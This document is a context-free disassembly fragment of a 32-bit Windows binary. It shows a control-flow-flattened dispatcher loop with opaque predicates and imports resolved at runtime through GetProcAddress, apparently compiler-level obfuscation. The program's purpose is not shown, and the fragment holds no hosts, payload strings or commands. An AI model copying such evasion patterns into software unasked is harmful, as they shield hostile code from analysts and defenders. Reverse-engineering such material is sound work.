mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x78]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov ecx, 0x77173e48
mov eax, dword [ebp - 0x60]
cmp dword [eax], 0
mov eax, 0xe30a78da
cmove eax, ecx
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x31f4d5df
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7df357cf
jmp 0x404fc6
mov eax, 0xebf1ec6f
jmp 0x4014e0
mov eax, dword [ebp - 0x24]
mov ebx, 0xfe94afd4
mov edi, 0xd8b3d3c8
mov dword [eax], 2
mov eax, dword [0x4ac3e8]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd8b3d3c8
jmp 0x4014c3
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xdc]
mov edi, 0xc8dba857
mov dword [eax], ecx
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9527f8fc
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x4014e0
mov eax, dword [ebp - 0x78]
push dword [ebp - 0x188]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, 0xe30a78da
jmp 0x4014e0
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0xb8d59fdf
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x2a478170
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x6010daf5
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
mov eax, ecx
jmp 0x4014e0
mov eax, 0x797d5e9c
jmp 0x4014e0
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0xbc]
mov eax, dword [0x4ac3e8]
mov ebx, 0xbe66c831
mov edi, 0x7dad002d
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7dad002d
jmp 0x4014c3
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0x95a4977d
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x460efa45
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x4014e0
cmp eax, 0xd36182c1
jne 0x4014e0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.004388e0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret